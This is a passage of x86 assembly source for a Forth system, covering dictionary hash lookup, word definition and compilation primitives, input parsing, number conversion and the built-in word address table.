words\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n\tdefword \"find\", 0, WORD_FIND, WORD_CALL_COMMA\n\tcall WORD_DUP\n\tcall WORD_COUNT\n\tcall WORD_FIND_DICT\n\ttest ebx, ebx\n\tif nz\n\t\tmov dl, [ebx + H_NSIZE]\n\t\tcall WORD_TCFA\n\t\tLOADTOS 1\n\t\tand edx, F_IMMED\n\t\tif z\n\t\t\tneg ebx\n\t\tendif\n\t\tcall WORD_ROT\n\t\tcall WORD_DROP\n\tendif\n\tret\n\tdefword_end\n\n\tdefword \"(find)\", 0, WORD_FIND_DICT, WORD_CALL_COMMA\n\tmov ecx, ebx\t\t\t; ecx = length\n\tPOPDSP edi\t\t\t\t; edi = address\n\tPUSHRSP ecx\n\tmov esi, edi\n\tcall strhashi\n\tand ebx, NUM_HASH_CHAINS-1\n\tmov esi, hash_buckets\n\tmov edx, [esi + (ebx * 4)]\n\tPOPRSP ecx\t\t\t\t; edx can now scan back through this hash chain\nfindd_l1:\n\ttest edx, edx\t\t\t; NULL pointer?  (end of the linked list)\n\tje findd_l4\n\txor eax, eax\n\tmov al, [edx + H_NSIZE]\t; al = flags+length field\n\tand al, (F_HIDDEN|F_LENMASK)\t; al = name length\n\tcmp al, cl\t\t\t\t; Length is the same?\n\tjne findd_l2\n\tPUSHRSP ecx\t\t\t\t; Save the length\n\tPUSHRSP edi\t\t\t\t; Save the address (repe cmpsb will move this pointer)\n\tlea esi, [edx + H_NAME]\t; Dictionary string we are checking against.\n\tcall strcmpi\n\tPOPRSP edi\n\tPOPRSP ecx\n\tjne findd_l2\t\t\t; Not the same.\n\tmov ebx, edx\n\tret\nfindd_l2:\n\tmov edx, [edx + H_HLINK]\t; Move back through the link field to the previous word\n\tjmp findd_l1\t\t\t; .. and loop.\nfindd_l4:\n\txor ebx, ebx\t\t\t; Return zero to indicate not found.\n\tret\n\tdefword_end\n\n\tdefword \">cfa\", 0, WORD_TCFA, WORD_CALL_COMMA\n\tadd ebx, H_NSIZE\n\tmov al, [ebx]\t\t\t; Load flags+len into al.\n\tinc ebx\t\t\t\t\t; skip flags+len byte.\n\tand eax, F_LENMASK\t\t; Just the length, not the flags.\n\tadd ebx, eax\t\t\t; skip the name\n\tadd ebx, XT_SIZE\t\t; skip to the xt\n\tret\n\tdefword_end\n\n\tdefword \"(bucket)\", 0, WORD_BUCKET, WORD_CALL_COMMA\n\tmov ecx, ebx\t\t; ecx = length\n\tPOPDSP ebx\t\t\t; ebx = address of name\n\tPUSHRSP esi\n\tmov esi, ebx\n\tcall strhashi\n\tand ebx, NUM_HASH_CHAINS-1\n\tmov esi, hash_buckets\n\tlea ebx, [esi + (ebx * 4)]\n\tPOPRSP esi\n\tret\n\tdefword_end\n\n\tdefword \"unused\", 0, WORD_UNUSED, WORD_CALL_COMMA\n\tLOADTOS forth_end\n\tLOADTOS [var_WORD_DP]\n\tcall WORD_SUB\n\tret\n\tdefword_end\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;\n; dictionary building words\n;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n\tdefword \"align\", 0, WORD_ALIGNDP, WORD_CALL_COMMA\n\tmov eax, [var_WORD_DP]\n\tALIGNREG eax\n\tmov [var_WORD_DP], eax\n\tret\n\tdefword_end\n\n\tdefword \"header,\", 0, WORD_HEADER_COMMA, WORD_CALL_COMMA\n\tmov ecx, ebx\t\t\t\t; ecx = length\n\tPOPDSP ebx\t\t\t\t\t; ebx = address of name\n\tcall WORD_ALIGNDP\t\t\t; align header\n\tmov edi, [var_WORD_DP]\t\t; edi is the address of the header\n\tmov eax, [var_WORD_LATEST]\t; Get link pointer\n\tmov [edi + H_LLINK], eax\t; and store it in the header.\n\tmov [var_WORD_LATEST], edi\n\tPUSHRSP ebx\t\t\t\t\t; hash chain\n\tPUSHRSP ecx\n\tmov esi, ebx\n\tcall strhashi\n\tand ebx, NUM_HASH_CHAINS-1\n\tmov esi, hash_buckets\n\tmov eax, [esi + (ebx * 4)]\n\tmov [esi + (ebx * 4)], edi\n\tmov [edi + H_HLINK], eax\t; and store it in the header.\n\tPOPRSP ecx\n\tPOPRSP esi\n\tmov [edi + H_NSIZE], cl\t\t; Store the length/flags byte.\n\tadd edi, H_NAME\n\tcall strcpyi\n\tmov ecx, XT_SIZE\n\txor eax, eax\n\trep stosb\t\t\t\t\t; clear the gap till the xt\n\tmov [var_WORD_DP], edi\n\tmov long [edi + XT_COMPILE], WORD_CALL_COMMA\t;compile action\n\tPOPDSP ebx\n\tret\n\tdefword_end\n\n\tdefword \"lit,\", 0, WORD_LIT_COMMA, WORD_CALL_COMMA\n\tmov esi, litc_l1\n\tmov edi, [var_WORD_DP]\n\tmov ecx, litc_l2 - litc_l1 - 4\n\trep movsb\n\tmov [var_WORD_DP], edi\n\tret\n\tdefword_end\nlitc_l1:\n\tLOADTOS 0xBAADF00D\nlitc_l2:\n\n\tdefword \"slits\", 0, WORD_SLITS, WORD_CALL_COMMA\n\tPUSHDSP ebx\n\tPOPRSP esi\n\txor eax, eax\n\tlodsb\t\t\t\t; get the length of the string\n\tPUSHDSP esi\t\t\t; push the address of the start of the string\n\tmov ebx, eax\t\t; push length on the stack\n\tadd esi, eax\t\t; skip past the string\n \tjmp esi\n\tdefword_end\n\n\tdefword \"clits\", 0, WORD_CLITS, WORD_CALL_COMMA\n\tFROMRSP\n\txor eax, eax\n\tmov al, [ebx]\n\tlea eax, [ebx + eax + 1]\n \tjmp eax\n\tdefword_end\n\n\tdefword \",\", 0, WORD_COMMA, WORD_CALL_COMMA\n\tmov edi, [var_WORD_DP]\t; DP\n\tmov eax, ebx\n\tstosd\t\t\t\t\t; Store it.\n\tmov [var_WORD_DP], edi\t; Update DP (incremented)\n\tPOPDSP ebx\n\tret\n\tdefword_end\n\n\tdefword \"c,\", 0, WORD_CHAR_COMMA, WORD_CALL_COMMA\n\tmov eax, ebx\n\tmov edi, [var_WORD_DP]\t; DP\n\tstosb\t\t\t\t\t; Store it.\n\tmov [var_WORD_DP], edi\t; Update DP (incremented)\n\tPOPDSP ebx\n\tret\n\tdefword_end\n\n\tdefword \":\", 0, WORD_COLON, WORD_CALL_COMMA\n\tcall WORD_PARSENAME\n\tcall WORD_HEADER_COMMA\t; Create the dictionary entry / header\n\tmov eax, [var_WORD_DP]\n\tmov [eax + XT_BODY], eax\n\tcall WORD_LATEST\n\tcall WORD_FETCH\n\tcall WORD_HIDDEN\t\t; Make the word hidden\n\tcall WORD_RBRAC\t\t\t; Go into compile mode.\n\tret\n\tdefword_end\n\n\tdefword \"create\", 0, WORD_CREATE, WORD_CALL_COMMA\n\tcall WORD_PARSENAME\n\tcall WORD_HEADER_COMMA\n\tmov esi, create_l1\n\tmov edi, [var_WORD_DP]\n\tPUSHRSP edi\n\tmov ecx, create_l4 - create_l1\n\trep movsb\n\tmov [var_WORD_DP], edi\n\tmov edx, edi\n\tcall WORD_ALIGNDP\n\tPOPRSP eax\n\tmov edi, [var_WORD_DP]\n\tsub edx, eax\n\tmov [eax + create_l2 - create_l1 - 4], edi\n\tmov [eax + XT_BODY], edi\n\tmov [eax + XT_LENGTH], edx\n\tret\n\tdefword_end\ncreate_l1:\n\tLOADTOS 0xBAADF00D\ncreate_l2:\n\tcall strict near create_l3\ncreate_l3:\n\tret\ncreate_l4:\n\n\tdefword \"dodoes\", 0, WORD_DODOES, WORD_CALL_COMMA\n\tcall WORD_LATEST\n\tcall WORD_FETCH\n\tcall WORD_TCFA\n\tadd ebx, create_l3 - create_l1 - 4\n\tPOPDSP eax\n\tsub eax, ebx\n\tsub eax, 4\n\tmov [ebx], eax\n\tPOPDSP ebx\n\tret\n\tdefword_end\n\n\tdefword \"does>\", F_IMMED, WORD_DOES, WORD_CALL_COMMA\n\tcall WORD_LIT_COMMA\n\tLOADTOS [var_WORD_DP]\n\tadd ebx, 10\n\tcall WORD_COMMA\n\tLOADTOS WORD_DODOES\n\tcall WORD_COMPILE_COMMA\n\tLOADTOS 0\n\tmov bl, [does_l1]\n\tcall WORD_CHAR_COMMA\ndoes_l1:\n\tret\n\tdefword_end\n\n\tdefword \"postpone\", F_IMMED, WORD_POSTPONE, WORD_CALL_COMMA\n\tcall WORD_PARSENAME\n\tcall WORD_FIND_DICT\n\tmov dl, [ebx + H_NSIZE]\n\tcall WORD_TCFA\n\tand edx, F_IMMED\n\tif z\n\t\tcall WORD_LIT_COMMA\n\t\tcall WORD_COMMA\n\t\tLOADTOS WORD_COMPILE_COMMA\n\tendif\n\tjmp WORD_COMPILE_COMMA\n\tret\n\tdefword_end\n\n\tdefword \"call,\", 0, WORD_CALL_COMMA, WORD_CALL_COMMA\n\tmov edi, [var_WORD_DP]\n\tmov [lastcall], edi\t; record last location of last call\n\tmov esi, i_call\n\tmovsb\n\tmov eax, ebx\n\tsub eax, 4\n\tsub eax, edi\n\tstosd\n\tmov [var_WORD_DP], edi\n\tPOPDSP ebx\n\tret\n\tdefword_end\n\n\tdefword \"inline,\", 0, WORD_INLINE_COMMA, WORD_CALL_COMMA\n\tmov ecx, [ebx + XT_LENGTH]\n\tdec ecx\t\t\t\t\t; actual code length minus ret\n\tmov esi, ebx\n\tmov edi, [var_WORD_DP]\n\trep movsb\t\t\t\t; inline copy the code\n\tmov [var_WORD_DP], edi\t; update DP\n\tPOPDSP ebx\n\tret\n\tdefword_end\n\n\tdefword \"compile,\", 0, WORD_COMPILE_COMMA, WORD_INLINE_COMMA\n\tcall [ebx + XT_COMPILE]\n\tret\n\tdefword_end\n\n\tdefword \";\", F_IMMED, WORD_SEMICOLON, WORD_CALL_COMMA\n\tLOADTOS WORD_EXIT\ni_call:\n\tcall strict near WORD_COMPILE_COMMA\n\tcall WORD_LATEST\n\tcall WORD_FETCH\n\tcall WORD_HIDDEN\t\t\t; toggle hidden flag -- unhide the word (see below for definition).\n\tcall WORD_LBRAC\t\t\t\t; go back to IMMEDIATE mode.\n\tmov edx, ebx\n\tmov ebx, [var_WORD_LATEST]\n\tcall WORD_TCFA\n\tmov ecx, [var_WORD_DP]\n\tsub ecx, ebx\n\tmov [ebx + XT_LENGTH], ecx\t; set code size of word\n\tmov ebx, edx\n\tret\n\tdefword_end\n\n\tdefword \"immediate\", 0, WORD_IMMEDIATE, WORD_CALL_COMMA\n\tmov edi, [var_WORD_LATEST]\t; LATEST word.\n\tadd edi, H_NSIZE\t\t\t; Point to name/flags byte.\n\txor byte [edi], F_IMMED\t\t; Toggle the IMMED bit.\n\tret\n\tdefword_end\n\n\tdefword \"hidden\", 0, WORD_HIDDEN, WORD_CALL_COMMA\n\tadd ebx, H_NSIZE\t\t\t; Point to name/flags byte.\n\txor byte [ebx], F_HIDDEN\t; Toggle the HIDDEN bit.\n\tPOPDSP ebx\n\tret\n\tdefword_end\n\n\tdefword \"[\", F_IMMED, WORD_LBRAC, WORD_CALL_COMMA\n\tmov long [var_WORD_STATE], 0\t; Set STATE to 0.\n\tret\n\tdefword_end\n\n\tdefword \"]\", 0, WORD_RBRAC, WORD_CALL_COMMA\n\tmov long [var_WORD_STATE], 1\t; Set STATE to 1.\n\tret\n\tdefword_end\n\n;;;;;;;;;;;;;;;;;;;;;\n; source buffer words\n;;;;;;;;;;;;;;;;;;;;;\n\n\tdefword \"source\", 0, WORD_SOURCE, WORD_CALL_COMMA\n\tcall WORD_INHASH\n\tcall WORD_FETCH2\n\tret\n\tdefword_end\n\n\tdefword \"refill\", 0, WORD_REFILL, WORD_CALL_COMMA\n\tLOADTOS tib_buffer\n\tcall WORD_LINESIZE\t; ( tib len )\n\tcall WORD_OVER\n\tcall WORD_SWAP\t\t; ( tib tib len )\n\tcall WORD_ACCEPT\t; read line into TIB\n\tcall WORD_DUP2\n\tcall WORD_TABSTOSPACES\n\tcall WORD_INHASH\n\tcall WORD_STORE2\t; set as current WORD_SOURCE\n\tLOADTOS 0\n\tcall WORD_TOIN\n\tcall WORD_STORE\t\t; set to start of buffer\n\tLOADTOS -1\n\tret\n\tdefword_end\n\n\tdefword \"isspace?\", 0, WORD_ISSPACE, WORD_CALL_COMMA\n\tLOADTOS ' '\n\tcall WORD_ULTEQ\n\tret\n\tdefword_end\n\n\tdefword \"isnotspace?\", 0, WORD_ISNOTSPACE, WORD_CALL_COMMA\n\tcall WORD_ISSPACE\n\tcall WORD_ZEQ\n\tret\n\tdefword_end\n\n\tdefword \"xt-skip\", 0, WORD_XTSKIP, WORD_CALL_COMMA\n\tTORSP\nxtskip_l1:\n\ttest ebx, ebx\n\tjz xtskip_l3\n\tcall WORD_OVER\n\tcall WORD_FETCHBYTE\n\tFETCHRSP\n\tcall WORD_EXECUTE\n\ttest ebx, ebx\n\tjz xtskip_l2\n\tmov ebx, 1\n\tcall WORD_SSTRING\n\tjmp xtskip_l1\nxtskip_l2:\n\tcall WORD_DROP\nxtskip_l3:\n\tADDRSP 4\n\tret\n\tdefword_end\n\n;;;;;;;;;;;;;;;;;;;;;;\n; input parseing words\n;;;;;;;;;;;;;;;;;;;;;;\n\n\tdefword \"parse-name\", 0, WORD_PARSENAME, WORD_CALL_COMMA\n\tcall WORD_SOURCE\n\tcall WORD_TOIN\n\tcall WORD_FETCH\n\tcall WORD_SSTRING\n\tLOADTOS WORD_ISSPACE\n\tcall WORD_XTSKIP\n\tcall WORD_OVER\n\tTORSP\n\tLOADTOS WORD_ISNOTSPACE\n\tcall WORD_XTSKIP\n\tcall WORD_DUP2\n\tLOADTOS 1\n\tcall WORD_MIN\n\tcall WORD_ADD\n\tcall WORD_SOURCE\n\tcall WORD_DROP\n\tcall WORD_SUB\n\tcall WORD_TOIN\n\tcall WORD_STORE\n\tcall WORD_DROP\n\tFROMRSP\n\tcall WORD_TUCK\n\tcall WORD_SUB\n; code to print out \"P <word> CR\"\n;LOADTOS 80\n;call WORD_EMIT\n;LOADTOS 32\n;call WORD_EMIT\n;call WORD_DUP2\n;call WORD_TYPE\n;LOADTOS 10\n;call WORD_EMIT\n\tret\n\tdefword_end\n\n\tdefword \"word-name\", 0, WORD_WORDNAME, WORD_CALL_COMMA\n\tcall WORD_PARSENAME\t\t; ( start len )\n\tLOADTOS word_buf\t\t; ( string size buf )\n\tcall WORD_DUP2\t\t\t; ( string size buf size buf )\n\tcall WORD_STOREBYTE\t\t; ( string size buf )\n\tcall WORD_INCR\t\t\t; ( string size buf+1 )\n\tcall WORD_SWAP\t\t\t; ( string buf+1 size )\n\tcall WORD_CMOVE\n\tLOADTOS word_buf\t\t; ( cstring )\n; debug code to print out \"N <word> CR\"\n;LOADTOS 78\n;call WORD_EMIT\n;LOADTOS 32\n;call WORD_EMIT\n;call WORD_DUP2\n;call WORD_TYPE\n;LOADTOS 10\n;call WORD_EMIT\n\tret\n\tdefword_end\n\n\tdefword \"interp-name\", 0, WORD_INTERPNAME, WORD_CALL_COMMA\n\tcall WORD_PARSENAME\t\t\t; ( start len )\n\tLOADTOS intep_name_buf\t\t; ( string size buf )\n\tcall WORD_DUP2\t\t\t\t; ( string size buf size buf )\n\tcall WORD_STOREBYTE\t\t\t; ( string size buf )\n\tcall WORD_INCR\t\t\t\t; ( string size buf+1 )\n\tcall WORD_SWAP\t\t\t\t; ( string buf+1 size )\n\tcall WORD_CMOVE\n\tLOADTOS intep_name_buf\t\t;( cstring )\n\tret\n\tdefword_end\n\n\tdefword \"interpret\", 0, WORD_INTERPRET, WORD_CALL_COMMA\n\tloopstart\n\t\tcall WORD_INTERPNAME\n\t\tmov al, [ebx]\n\t\ttest al, al\n\t\tbreakif z\n\t\t; debug code to print out \"I <word> CR\"\n\t\t;LOADTOS 73\n\t\t;call WORD_EMIT\n\t\t;LOADTOS 32\n\t\t;call WORD_EMIT\n\t\t;call WORD_DUP\n\t\t;call WORD_COUNT\n\t\t;call WORD_TYPE\n\t\t;LOADTOS 10\n\t\t;call WORD_EMIT\n\t\tcall WORD_INTERP\n\tloopend\n\tcall WORD_DROP\n\tret\n\tdefword_end\n\n\tdefword \"interp\", 0, WORD_INTERP, WORD_CALL_COMMA\n\tcall WORD_FIND\t\t\t\t; ( cstring 0 | xt 1 | xt | -1 )\n\tmov eax, ebx\n\tPOPDSP ebx\n\ttest eax, eax\n\tjz tryasnumber\n\tjle nonimediate\nexecuteword:\n\tmov eax, ebx\n\tPOPDSP ebx\n\tjmp eax\nnonimediate:\n\tmov eax, [var_WORD_STATE]\n\ttest eax, eax\t\t\t\t; are we in imedeate mode ?\n\tjz executeword\n\tjmp WORD_COMPILE_COMMA\t\t; compile xt\ntryasnumber:\n\tcall WORD_COUNT\t\t\t\t; ( adr len )\n\tLOADTOS 0\n\tLOADTOS 0\n\tcall WORD_SWAP2\t\t\t\t; ( 0d addr len )\n\tcall WORD_TOSNUMBER\t\t\t; ( d addr len )\n\ttest ebx, ebx\n\tjnz parseproblem\n\tcall WORD_DROP2\n\tcall WORD_DROP\t\t\t\t; ( num )\n\tmov eax, [var_WORD_STATE]\n\ttest eax, eax\n\tif nz\n\t\tcall WORD_LIT_COMMA\t\t; compile LIT\n\t\tcall WORD_COMMA\t\t\t; compile value\n\tendif\n\tret\nparseproblem:\n\tLOADTOS errmsg\n\tLOADTOS errmsgend - errmsg\n\tLOADTOS 2\n\tcall WORD_TYPE_FD\n\tLOADTOS errmsgnl\n\tLOADTOS 1\n\tLOADTOS 2\n\tcall WORD_TYPE_FD\n\tLOADTOS tib_buffer\n\tLOADTOS [var_WORD_TOIN]\n\tLOADTOS 2\n\tcall WORD_TYPE_FD\n\tLOADTOS errmsgnl\n\tLOADTOS 1\n\tLOADTOS 2\n\tcall WORD_TYPE_FD\n\tcall WORD_DROP2\n\tcall WORD_DROP2\n\tret\n\tdefword_end\n\n\tdefword \">number\", 0, WORD_TONUMBER, WORD_CALL_COMMA\n\tcall WORD_OVER\n\tcall WORD_ADD\n\tcall WORD_SWAP\t\t\t; ( ud end cur )\ntonumber_l1:\n\tPICKDSP eax, 0\n\tcmp ebx, eax\n\tjz near tonumber_l4\n\tcall WORD_DUP\n\tcall WORD_FETCHBYTE\t\t; ( ud end cur char )\n\tto_lower ebx\n\tsub ebx, byte '0'\n\tjb tonumber_l3\t\t\t; < '0'?\n\tcmp ebx, byte 10\n\tjb tonumber_l2\t\t\t; <= '9' ?\n\tsub ebx, byte 'a' - '0'\n\tjb tonumber_l3\t\t\t; < 'a' ?\n\tadd ebx, byte 10\ntonumber_l2:\n\tcmp ebx, [var_WORD_BASE]\n\tjge tonumber_l3\t\t\t; >= WORD_BASE ?\n\tTORSP\n\tcall WORD_SWAP2\t\t\t; ( end cur ud )\n\tLOADTOS [var_WORD_BASE]\n\tcall WORD_DMULSTAR\n\tFROMRSP\n\tcall WORD_MPLUS\t\t\t; ( end cur ud' )\n\tcall WORD_SWAP2\n\tcall WORD_INCR\t\t\t; ( ud' end cur' )\n\tjmp tonumber_l1\ntonumber_l3:\n\tcall WORD_DROP\ntonumber_l4:\n\tcall WORD_SWAP\n\tcall WORD_OVER\n\tcall WORD_SUB\t\t\t; ( ud' c-addr u2 )\n\tret\n\tdefword_end\n\n\tdefword \">snumber\", 0, WORD_TOSNUMBER, WORD_CALL_COMMA\n\ttest ebx, ebx\n\tif nz\n\t\tPICKDSP eax, 0\n\t\tmov cl, [eax]\n\t\tcmp cl, '-'\n\t\tjnz WORD_TONUMBER\t; not '-'\n\t\tinc eax\n\t\tPUTDSP eax, 0\n\t\tdec ebx\n\t\tcall WORD_TONUMBER\n\t\tcall WORD_SWAP2\n\t\tcall WORD_DNEGATE\n\t\tcall WORD_SWAP2\n\tendif\n\tret\n\tdefword_end\n\n;;;;;;;;;;;\n; tick word\n;;;;;;;;;;;\n\n\tdefword \"ticks\", 0, WORD_TICKS, WORD_CALL_COMMA\n\tsub ebp, byte 8\n\trdtsc\n\tmov [byte ebp -4], ebx\n\tmov [ebp], eax\n\tmov ebx, edx\n\tret\n\tdefword_end\n\n;;;;;;;;;;;\n; test word\n;;;;;;;;;;;\n\n\tdefword \"test\", 0, WORD_TEST, WORD_CALL_COMMA\n\tret\n\tdefword_end\n\n;;;;;;;;;;;;;;;;;\n; read/write data\n;;;;;;;;;;;;;;;;;\n\n\talign 4\nsyscallret:\n\t; return address saved by syscall\n\tdd 0\nlastcall:\n\t; last call layed down by compiler\n\tdd 0\n\ntib_buffer:\n\t; keyboard input buffer\n\ttimes MAX_LINE_SIZE db 0\nword_buf:\n\t; static buffer where WORD returns. Subsequent calls\n\t; overwrite this buffer.\n\ttimes MAX_LINE_SIZE db 0\nintep_name_buf:\n\t; static buffer where INTERPNAME returns. Subsequent calls\n\t; overwrite this buffer.\n\ttimes MAX_LINE_SIZE db 0\nemit_scratch:\n\t; scratch used by EMIT\n\tdb 0\nerrmsg:\n\tdb \"PARSE ERROR:\"\nerrmsgend:\nerrmsgnl:\n\tdb 10\nbootfile:\n\tdb \"forth.f\"\n\tdb 0\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n; dictionary hash table (64)\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n\talign 4\nhash_buckets:\n\tdd 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0\n\tdd 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0\n\tdd 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0\n\tdd 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n; addresses of all built in dictionary words.\n; this ends up as part of the user space after booting !\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n\talign 4\ndictionary_start:\n\tdd dic_WORD_ABS\n\tdd dic_WORD_ACCEPT\n\tdd dic_WORD_ADD\n\tdd dic_WORD_ADDBYTE\n\tdd dic_WORD_ADDSTORE\n\tdd dic_WORD_ALIGNDP\n\tdd dic_WORD_AND\n\tdd dic_WORD_BASE\n\tdd dic_WORD_BLANK\n\tdd dic_WORD_BLK\n\tdd dic_WORD_BRANCH\n\tdd dic_WORD_BUCKET\n\tdd dic_WORD_CALL_COMMA\n\tdd dic_WORD_CHARBUF\n\tdd dic_WORD_CHAR_COMMA\n\tdd dic_WORD_CLITS\n\tdd dic_WORD_CMOVE\n\tdd dic_WORD_CMOVEB\n\tdd dic_WORD_COLON\n\tdd dic_WORD_COMMA\n\tdd dic_WORD_COMPARE\n\tdd dic_WORD_COMPAREI\n\tdd dic_WORD_COMPILE_COMMA\n\tdd dic_WORD_COUNT\n\tdd dic_WORD_CREATE\n\tdd dic_WORD_D2SLASH\n\tdd dic_WORD_D2STAR\n\tdd dic_WORD_DABS\n\tdd dic_WORD_DECR\n\tdd dic_WORD_DECR2\n\tdd dic_WORD_DECR4\n\tdd dic_WORD_DEQ\n\tdd dic_WORD_DIV\n\tdd dic_WORD_DIVMOD\n\tdd dic_WORD_DLT\n\tdd dic_WORD_DMAX\n\tdd dic_WORD_DMIN\n\tdd dic_WORD_DMINUS\n\tdd dic_WORD_DMULSTAR\n\tdd dic_WORD_DNEGATE\n\tdd dic_WORD_DNEQ\n\tdd dic_WORD_DODOES\n\tdd dic_WORD_DOES\n\tdd dic_WORD_DP\n\tdd dic_WORD_DPLUS\n\tdd dic_WORD_DROP\n\tdd dic_WORD_DROP2\n\tdd dic_WORD_DSPFETCH\n\tdd dic_WORD_DSPSTORE\n\tdd dic_WORD_DTOS\n\tdd dic_WORD_DULT\n\tdd dic_WORD_DUP\n\tdd dic_WORD_DUP2\n\tdd dic_WORD_DZEQ\n\tdd dic_WORD_DZLT\n\tdd dic_WORD_DZNEQ\n\tdd dic_WORD_EMIT\n\tdd dic_WORD_EQ\n\tdd dic_WORD_ERASE\n\tdd dic_WORD_EXECUTE\n\tdd dic_WORD_EXIT\n\tdd dic_WORD_FETCH\n\tdd dic_WORD_FETCH2\n\tdd dic_WORD_FETCHBYTE\n\tdd dic_WORD_FETCHSHORT\n\tdd dic_WORD_FILL\n\tdd dic_WORD_FIND\n\tdd dic_WORD_FIND_DICT\n\tdd dic_WORD_FMDIVMOD\n\tdd dic_WORD_FROMR\n\tdd dic_WORD_FROMR2\n\tdd dic_WORD_GT\n\tdd dic_WORD_GTEQ\n\tdd dic_WORD_HEADER_COMMA\n\tdd dic_WORD_HIDDEN\n\tdd dic_WORD_IMMEDIATE\n\tdd dic_WORD_INCR\n\tdd dic_WORD_INCR2\n\tdd dic_WORD_INCR4\n\tdd dic_WORD_INHASH\n\tdd dic_WORD_INLINE_COMMA\n\tdd dic_WORD_INTERP\n\tdd dic_WORD_INTERPNAME\n\tdd dic_WORD_INTERPRET\n\tdd dic_WORD_INVERT\n\tdd dic_WORD_ISNOTSPACE\n\tdd dic_WORD_ISSPACE\n\tdd dic_WORD_KEY\n\tdd dic_WORD_LATEST\n\tdd dic_WORD_LBRAC\n\tdd dic_WORD_LINESIZE\n\tdd dic_WORD_LIT_COMMA\n\tdd dic_WORD_LSHIFT\n\tdd dic_WORD_LSYSCALL\n\tdd dic_WORD_LT\n\tdd dic_WORD_LTEQ\n\tdd dic_WORD_MAX\n\tdd dic_WORD_MIN\n\tdd dic_WORD_MMINUS\n\tdd dic_WORD_MOD\n\tdd dic_WORD_MOVE\n\tdd dic_WORD_MPLUS\n\tdd dic_WORD_MSLASH\n\tdd dic_WORD_MULDIV\n\tdd dic_WORD_MULL\n\tdd dic_WORD_MULSTAR\n\tdd dic_WORD_NE\n\tdd dic_WORD_NEGATE\n\tdd dic_WORD_NFROMR\n\tdd dic_WORD_NIP\n\tdd dic_WORD_NIP2\n\tdd dic_WORD_NQDUP\n\tdd dic_WORD_NROT\n\tdd dic_WORD_NTOR\n\tdd dic_WORD_OR\n\tdd dic_WORD_OVER\n\tdd dic_WORD_OVER2\n\tdd dic_WORD_O_APPEND\n\tdd dic_WORD_O_CREAT\n\tdd dic_WORD_O_EXCL\n\tdd dic_WORD_O_NONBLOCK\n\tdd dic_WORD_O_RDONLY\n\tdd dic_WORD_O_RDWR\n\tdd dic_WORD_O_TRUNC\n\tdd dic_WORD_O_WRONLY\n\tdd dic_WORD_PARSENAME\n\tdd dic_WORD_PICK\n\tdd dic_WORD_POSTPONE\n\tdd dic_WORD_QDUP\n\tdd dic_WORD_RBRAC\n\tdd dic_WORD_RDROP\n\tdd dic_WORD_RDROP2\n\tdd dic_WORD_READCHAR\n\tdd dic_WORD_READLINE\n\tdd dic_WORD_REFILL\n\tdd dic_WORD_RFETCH\n\tdd dic_WORD_RFETCH2\n\tdd dic_WORD_ROT\n\tdd dic_WORD_ROT2\n\tdd dic_WORD_RSHIFT\n\tdd dic_WORD_RSPFETCH\n\tdd dic_WORD_RSPSTORE\n\tdd dic_WORD_RSTORE\n\tdd dic_WORD_RZ\n\tdd dic_WORD_SEMICOLON\n\tdd dic_WORD_SLITS\n\tdd dic_WORD_SMDIVREM\n\tdd dic_WORD_SOURCE\n\tdd dic_WORD_SOURCEFD\n\tdd dic_WORD_SSTRING\n\tdd dic_WORD_STARSMOD\n\tdd dic_WORD_STATE\n\tdd dic_WORD_STOD\n\tdd dic_WORD_STORE\n\tdd dic_WORD_STORE2\n\tdd dic_WORD_STOREBYTE\n\tdd dic_WORD_STORESHORT\n\tdd dic_WORD_SUB\n\tdd dic_WORD_SUBSTORE\n\tdd dic_WORD_SWAP\n\tdd dic_WORD_SWAP2\n\tdd dic_WORD_SYSCALL\n\tdd dic_WORD_SYS_CLOSE\n\tdd dic_WORD_SYS_EXIT\n\tdd dic_WORD_SYS_FSTAT\n\tdd dic_WORD_SYS_FSYNC\n\tdd dic_WORD_SYS_FTRUNCATE\n\tdd dic_WORD_SYS_LSEEK\n\tdd dic_WORD_SYS_OPEN\n\tdd dic_WORD_SYS_READ\n\tdd dic_WORD_SYS_RENAME\n\tdd dic_WORD_SYS_STAT\n\tdd dic_WORD_SYS_UNLINK\n\tdd dic_WORD_SYS_WRITE\n\tdd dic_WORD_SZ\n\tdd dic_WORD_TABSTOSPACES\n\tdd dic_WORD_TCFA\n\tdd dic_WORD_TICKS\n\tdd dic_WORD_TOIN\n\tdd dic_WORD_TONUMBER\n\tdd dic_WORD_TOR\n\tdd dic_WORD_TOR2\n\tdd dic_WORD_TOSNUMBER\n\tdd dic_WORD_TRAILING\n\tdd dic_WORD_TUCK\n\tdd dic_WORD_TUCK2\n\tdd dic_WORD_TWODIV\n\tdd dic_WORD_TWOMUL\n\tdd dic_WORD_TYPE\n\tdd dic_WORD_TYPE_FD\n\tdd dic_WORD_UDIVMOD\n\tdd dic_WORD_UGT\n\tdd dic_WORD_UGTEQ\n\tdd dic_WORD_ULT\n\tdd dic_WORD_ULTEQ\n\tdd dic_WORD_UMDIVMOD\n\tdd dic_WORD_UMULSTAR\n\tdd dic_WORD_UNUSED\n\tdd dic_WORD_VERSION\n\tdd dic_WORD_WORDBUF\n\tdd dic_WORD_WORDNAME\n\tdd dic_WORD_XOR\n\tdd dic_WORD_XTSKIP\n\tdd dic_WORD_ZBRANCH\n\tdd dic_WORD_ZEQ\n\tdd dic_WORD_ZGT\n\tdd dic_WORD_ZGTEQ\n\tdd dic_WORD_ZLT\n\tdd dic_WORD_ZLTEQ\n\tdd dic_WORD_ZNE\n\tdd dic_WORD__F_HIDDEN\n\tdd dic_WORD__F_IMMED\n\tdd dic_WORD__F_LENMASK\n\tdd dic_WORD__H_NAME\n\tdd dic_WORD__H_NSIZE\n\tdd dic_WORD__XT_BODY\n\tdd dic_WORD__XT_COMPILE\n\tdd dic_WORD__XT_LENGTH\n\tdd 